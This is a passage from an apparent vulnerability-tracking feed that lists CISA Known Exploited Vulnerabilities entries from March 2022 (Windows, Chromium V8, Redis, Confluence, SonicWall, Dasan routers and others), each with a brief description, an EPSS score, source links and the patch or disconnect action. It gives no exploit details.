CISA KEV entry CVE-2022-1040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows User Profile Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-34484
Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Mar 31, 2022).
Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 21.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34484: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP NAS Improper Authorization Vulnerability
https://kevwire.com/record/CVE-2021-28799
QNAP NAS Improper Authorization Vulnerability (Mar 31, 2022).
QNAP NAS running HBS 3 contains an improper authorization vulnerability which can allow remote attackers to log in to a device.
EPSS 78.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-28799: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dell dbutil Driver Insufficient Access Control Vulnerability
https://kevwire.com/record/CVE-2021-21551
Dell dbutil Driver Insufficient Access Control Vulnerability (Mar 31, 2022).
Dell dbutil driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial-of-service (DoS), or information disclosure.
EPSS 79.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dasan GPON Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-10562
Dasan GPON Routers Command Injection Vulnerability (Mar 31, 2022).
Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10561, exploitation can allow an attacker to perform remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-10562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dasan GPON Routers Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2018-10561
Dasan GPON Routers Authentication Bypass Vulnerability (Mar 31, 2022).
Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10562, exploitation can allow an attacker to perform remote code execution.
EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-10561: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2022-1096
Google Chromium V8 Type Confusion Vulnerability (Mar 28, 2022).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 24.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-1096: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Redis Debian-specific Redis Servers: Debian-specific Redis Server Lua Sandbox Escape Vulnerability
https://kevwire.com/record/CVE-2022-0543
Redis Debian-specific Redis Servers: Debian-specific Redis Server Lua Sandbox Escape Vulnerability (Mar 28, 2022).
Redis is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-38646
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (Mar 28, 2022).
Microsoft Office Access Connectivity Engine contains an unspecified vulnerability which can allow for remote code execution.
EPSS 8.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38646: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Event Tracing Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-34486
Microsoft Windows Event Tracing Privilege Escalation Vulnerability (Mar 28, 2022).
Microsoft Windows Event Tracing contains an unspecified vulnerability which can allow for privilege escalation.
EPSS 9.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Server Pre-Authorization Arbitrary File Read Vulnerability
https://kevwire.com/record/CVE-2021-26085
Atlassian Confluence Server Pre-Authorization Arbitrary File Read Vulnerability (Mar 28, 2022).
Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a pre-authorization arbitrary file read vulnerability in the /s/ endpoint.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall Secure Remote Access (SRA) SQL Injection Vulnerability
https://kevwire.com/record/CVE-2021-20028
SonicWall Secure Remote Access (SRA) SQL Injection Vulnerability (Mar 28, 2022).
SonicWall Secure Remote Access (SRA) products contain an improper neutralization of a SQL Command leading to SQL injection.
EPSS 30.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA100 Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2019-7483
SonicWall SMA100 Directory Traversal Vulnerability (Mar 28, 2022).
In SonicWall SMA100, an unauthenticated Directory Traversal vulnerability in the handleWAFRedirect CGI allows the user to test for the presence of a file on the server.
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7483: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8440
Microsoft Windows Privilege Escalation Vulnerability (Mar 28, 2022).
An elevation of privilege vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC).
EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8440: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8406
Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability (Mar 28, 2022).
An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8405
Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability (Mar 28, 2022).
An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0213
Microsoft Windows Privilege Escalation Vulnerability (Mar 28, 2022).
Microsoft Windows COM Aggregate Marshaler allows for privilege escalation when an attacker runs a specially crafted application.
EPSS 84.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0213: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2017-0059
Microsoft Internet Explorer Information Disclosure Vulnerability (Mar 28, 2022).
Microsoft Internet Explorer allow remote attackers to obtain sensitive information from process memory via a crafted web site.
EPSS 62.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0059: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Edge and Internet Explorer Type Confusion Vulnerability
https://kevwire.com/record/CVE-2017-0037
Microsoft Edge and Internet Explorer Type Confusion Vulnerability (Mar 28, 2022).
Microsoft Edge and Internet Explorer have a type confusion vulnerability in mshtml.dll, which allows remote code execution.
EPSS 80.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0037: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Edge Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-7201
Microsoft Edge Memory Corruption Vulnerability (Mar 28, 2022).
The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.
EPSS 80.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Edge Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-7200
Microsoft Edge Memory Corruption Vulnerability (Mar 28, 2022).
The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.
EPSS 82.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-0189
Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 28, 2022).
The Microsoft JScript nd VBScript engines, as used in Internet Explorer and other products, allow attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.
EPSS 94.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0189: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows CSRSS Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2016-0151
Microsoft Windows CSRSS Security Feature Bypass Vulnerability (Mar 28, 2022).
The Client-Server Run-time Subsystem (CSRSS) in Microsoft mismanages process tokens, which allows local users to gain privileges via a crafted application.
EPSS 62.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-0040
Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 28, 2022).
The kernel in Microsoft Windows allows local users to gain privileges via a crafted application.
EPSS 24.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-2426
Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability (Mar 28, 2022).
A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts.
EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2426: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-2419
Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 28, 2022).
JScript in Microsoft Internet Explorer allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.
EPSS 53.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2419: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Uninitialized Memory Use Vulnerability
https://kevwire.com/record/CVE-2015-1770
Microsoft Office Uninitialized Memory Use Vulnerability (Mar 28, 2022).
Microsoft Office allows remote attackers to execute arbitrary code via a crafted Office document.
EPSS 35.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2013-3660
Microsoft Win32k Privilege Escalation Vulnerability (Mar 28, 2022).
The EPATHOBJ::pprFlattenRec function in win32k.sys in the kernel-mode drivers in Microsoft does not properly initialize a pointer for the next object in a certain list, which allows local users to gain privileges.
